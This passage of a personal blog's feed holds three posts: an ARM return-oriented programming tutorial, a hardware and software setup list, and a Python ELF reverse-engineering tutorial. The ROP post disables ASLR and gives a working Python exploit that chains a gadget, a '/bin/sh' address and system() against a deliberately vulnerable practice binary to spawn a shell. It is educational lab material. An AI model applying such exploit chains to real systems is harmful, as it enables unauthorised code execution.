 622Basics</a>. Once you’re
 623comfortable with it, proceed with the next bit — environment setup.</p>
 624
 625<h3 id="setup">Setup</h3>
 626
 627<p>Since we’re working with the ARM architecture, there are two options to go
 628forth with: </p>
 629
 630<ol>
 631<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
 632And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
 633The scripts found inside should be self-explanatory.</li>
 634<li>Use actual ARM hardware, like an RPi.</li>
 635</ol>
 636
 637<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
 638may use <code>radare2</code>, IDA or anything else, really. All of which can be
 639trivially installed.</p>
 640
 641<p>And for the sake of simplicity, disable ASLR:</p>
 642
 643<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
 644</code></pre></div>
 645
 646<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
 647<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
 648
 649<p>Compile it:</p>
 650
 651<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
 652</code></pre></div>
 653
 654<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
 655
 656<h3 id="a-primer-on-rop">A primer on ROP</h3>
 657
 658<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
 659used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
 660In essence, no code in the binary is actually modified and the entire exploit
 661is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
 662
 663<p>A gadget is essentially a small sequence of code (instructions), ending with
 664a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
 665code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
 666These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
 667to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
 668there’s generally a call to <code>system()</code>, to acheive code execution.</p>
 669
 670<p>In practice, the process of executing a ropchain is something like this:</p>
 671
 672<ul>
 673<li>confirm the existence of a stack-based buffer overflow</li>
 674<li>identify the offset at which the instruction pointer gets overwritten</li>
 675<li>locate the addresses of the gadgets you wish to use</li>
 676<li>craft your input keeping in mind the stack’s layout, and chain the addresses
 677of your gadgets</li>
 678</ul>
 679
 680<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
 681Check it out, it might be just what you needed for that “aha!” moment :)</p>
 682
 683<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
 684that should put things into perspective.</p>
 685
 686<h3 id="exploring-our-binary">Exploring our binary</h3>
 687
 688<p>Start by running it, and entering any arbitrary string. On entering a fairly
 689large string, say, “A” × 20, we
 690see a segmentation fault occur.</p>
 691
 692<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
 693
 694<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
 695
 696<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
 697
 698<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
 699<code>gadget</code>. Disassembling the <code>main</code> function:</p>
 700
 701<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
 702
 703<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
 704to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
 705never actually called.</p>
 706
 707<p>Disassembling the <code>gadget</code> function:</p>
 708
 709<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
 710
 711<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
 712which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
 713instruction in the middle. This is a <strong>gadget</strong>.</p>
 714
 715<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
 716arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
 717are used for this. So this gadget effectively allows us to pass arguments to
 718functions using <code>r0</code>, and subsequently jumping to them by passing its address
 719in <code>pc</code>. Neat.</p>
 720
 721<p>Moving on to the disassembly of the <code>winner</code> function:</p>
 722
 723<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
 724
 725<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
 726So our end goal here is to, quite obviously, execute code via the <code>system()</code>
 727function.</p>
 728
 729<p>Now that we have an overview of what’s in the binary, let’s formulate a method
 730of exploitation by messing around with inputs.</p>
 731
 732<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
 733
 734<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
 735screenshot.</p>
 736
 737<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
 738
 739<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
 740the <code>pc</code> has been overwritten with our input.
 741So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
 742
 743<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
 744control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
 745
 746<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
 747of the second instruction — <code>add r11, sp, #4</code>. 
 748For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
 749the address of <code>winner</code>. Note the endianness.</p>
 750
 751<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
 752</code></pre></div>
 753
 754<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
 755
 756<p>The reason we don’t jump to the first instruction is because we want to control the stack
 757ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
 758those out after <code>winner</code> is done executing and we will no longer control 
 759where it jumps to.</p>
 760
 761<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
 762But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
 763to do what we want (run a command, execute a shell, etc.).</p>
 764
 765<p>To do that, we’ll follow a multi-step process: </p>
 766
 767<ol>
 768<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
 769<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
 770<code>r0</code>.</li>
 771<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
 772</ol>
 773
 774<p>The pseudo-code is something like this:</p>
 775
 776<pre><code>string = AAAABBBBCCCCDDDDEEEE
 777gadget = # addr of gadget
 778binsh  = # addr of /bin/sh
 779system = # addr of system()
 780
 781print(string + gadget + binsh + system)
 782</code></pre>
 783
 784<p>Clean and mean.</p>
 785
 786<h3 id="the-exploit">The exploit</h3>
 787
 788<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
 789It allows us to pack the bytes of addresses to the endianness of our choice.
 790It probably does a lot more, but who cares.</p>
 791
 792<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
 793at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
 794
 795<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
 796</code></pre>
 797
 798<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
 799
 800<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
 801found from the disassmblies from earlier. Here’s the final exploit code:</p>
 802
 803<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
 804
 805<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
 806<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
 807<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
 808<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
 809
 810<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
 811</code></pre></div>
 812
 813<p>Honestly, not too far off from our pseudo-code :)</p>
 814
 815<p>Let’s see it in action:</p>
 816
 817<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
 818
 819<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
 820when the pipe closes, since there’s no input coming in from STDIN.
 821To get around this, we use <code>cat(1)</code> which allows us to relay input through it
 822to the shell. Nifty trick.</p>
 823
 824<h3 id="conclusion">Conclusion</h3>
 825
 826<p>This was a fairly basic challenge, with everything laid out conveniently. 
 827Actual ropchaining is a little more involved, with a lot more gadgets to be chained
 828to acheive code execution.</p>
 829
 830<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
 831]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
 832
 833<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
 8348 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
 835
 836<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
 837I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
 838
 839<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
 840
 841<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
 842For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
 843
 844<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
 845Great pair of headphones, although the ear cups need replacing.</p>
 846
 847<h3 id="and-the-software">And the software</h3>
 848
 849<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
 850window manager, all riced. I now use whatever JustWorks™.</del></p>
 851
 852<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
 853running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
 854
 855<p>Here’s a (riced) screenshot of my desktop. </p>
 856
 857<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
 858
 859<p>Most of my work is done in either the browser, or the terminal.
 860My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
 861a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
 862My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
 863I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
 864
 865<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
 866clean and a single command to drop into a Kali shell.</p>
 867
 868<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
 869The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
 870
 871<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
 872]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
 873
 874<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
 875
 876<h3 id="setup">Setup</h3>
 877
 878<p>As the title suggests, you’re going to need a Python 3 interpreter before
 879anything else. Once you’ve confirmed beyond reasonable doubt that you do,
 880in fact, have a Python 3 interpreter installed on your system, run</p>
 881
 882<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
 883</code></pre></div>
 884
 885<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
 886
 887<p>With that out of the way, let’s start with an example of a basic reversing
 888challenge.</p>
 889
 890<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
 891
 892<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
 893<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
 894<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>
 895
 896<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
 897   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
 898   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
 899   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
 900       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
 901   <span class="p">}</span>
 902   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
 903   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
 904   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
 905   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
 906   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
 907       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
 908   <span class="p">}</span>
 909   <span class="k">else</span> <span class="p">{</span>
 910       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
 911   <span class="p">}</span>
 912<span class="p">}</span>
 913</code></pre></div>
 914
 915<p>Compile it with GCC/Clang:</p>
 916
 917<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
 918</code></pre></div>
 919
 920<h3 id="scripting">Scripting</h3>
 921
 922<p>For starters, let’s look at the different sections present in the binary.</p>
 923
 924<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
 925
 926<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
 927
 928<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 929    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
 930    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
 931        <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
 932</code></pre></div>
 933
 934<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
 935
 936<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
 937<span class="go">0x238 .interp</span>
 938<span class="go">0x254 .note.ABI-tag</span>
 939<span class="go">0x274 .note.gnu.build-id</span>
 940<span class="go">0x298 .gnu.hash</span>
 941<span class="go">0x2c0 .dynsym</span>
 942<span class="go">0x3e0 .dynstr</span>
 943<span class="go">0x484 .gnu.version</span>
 944<span class="go">0x4a0 .gnu.version_r</span>
 945<span class="go">0x4c0 .rela.dyn</span>
 946<span class="go">0x598 .rela.plt</span>
 947<span class="go">0x610 .init</span>
 948<span class="go">0x630 .plt</span>
 949<span class="go">0x690 .plt.got</span>
 950<span class="go">0x6a0 .text</span>
 951<span class="go">0x8f4 .fini</span>
 952<span class="go">0x900 .rodata</span>
 953<span class="go">0x924 .eh_frame_hdr</span>
 954<span class="go">0x960 .eh_frame</span>
 955<span class="go">0x200d98 .init_array</span>
 956<span class="go">0x200da0 .fini_array</span>
 957<span class="go">0x200da8 .dynamic</span>
 958<span class="go">0x200f98 .got</span>
 959<span class="go">0x201000 .data</span>
 960<span class="go">0x201010 .bss</span>
 961<span class="go">0x0 .comment</span>
 962<span class="go">0x0 .symtab</span>
 963<span class="go">0x0 .strtab</span>
 964<span class="go">0x0 .shstrtab</span>
 965</code></pre></div>
 966
 967<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
 968
 969<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
 970
 971<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
 972
 973<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
 974<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
 975
 976<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 977    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
 978    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
 979    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
 980    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
 981    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
 982    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
 983        <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span>
 984</code></pre></div>
 985
 986<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
 987
 988<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
 989<span class="go">0x6a0: xor ebp, ebp</span>
 990<span class="go">0x6a2: mov r9, rdx</span>
 991<span class="go">0x6a5: pop rsi</span>
 992<span class="go">0x6a6: mov rdx, rsp</span>
 993<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
 994<span class="go">0x6ad: push rax</span>
 995<span class="go">0x6ae: push rsp</span>
 996<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
 997<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
 998<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
 999<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1000<span class="go">0x6ca: hlt</span>
1001<span class="go">... snip ...</span>
1002</code></pre></div>
1003
1004<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1005
1006<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1007
1008<blockquote>
1009  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1010</blockquote>
1011
1012<p>To try and find these relocation entries, we write a third script.</p>
1013
1014<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1015
1016<span class="kn">import</span> <span class="nn">sys</span>
1017<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1018<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1019
1020<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1021    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1022    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1023        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1024            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span>
1025            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
1026            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1027                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
1028                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
1029                <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span>
1030</code></pre></div>
1031
1032<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1033
1034<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1035<span class="go">.rela.dyn:</span>
1036<span class="go"> 0x200d98</span>
1037<span class="go"> 0x200da0</span>
1038<span class="go"> 0x201008</span>
1039<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1040<span class="go">**__libc_start_main 0x200fe0**</span>
1041<span class="go">__gmon_start__ 0x200fe8</span>
1042<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1043<span class="go">__cxa_finalize 0x200ff8</span>
1044<span class="go">stdin 0x201010</span>
1045<span class="go">.rela.plt:</span>
1046<span class="go">puts 0x200fb0</span>
1047<span class="go">printf 0x200fb8</span>
1048<span class="go">fgets 0x200fc0</span>
1049<span class="go">strcmp 0x200fc8</span>
1050<span class="go">malloc 0x200fd0</span>
1051</code></pre></div>
1052
1053<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>
1054
1055<blockquote>
1056  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1057</blockquote>
1058
1059<p>And its definition is like so</p>
1060
1061<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
1062<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
1063<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1064<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1065<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1066<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1067</code></pre></div>
1068
1069<p>Looking back at our disassembly</p>
1070
1071<pre><code>0x6a0: xor ebp, ebp
10720x6a2: mov r9, rdx
10730x6a5: pop rsi
10740x6a6: mov rdx, rsp
10750x6a9: and rsp, 0xfffffffffffffff0
10760x6ad: push rax
10770x6ae: push rsp
10780x6af: lea r8, [rip + 0x23a]
10790x6b6: lea rcx, [rip + 0x1c3]
1080**0x6bd: lea rdi, [rip + 0xe6]**
10810x6c4: call qword ptr [rip + 0x200916]
10820x6ca: hlt
1083... snip ...
1084</code></pre>
1085
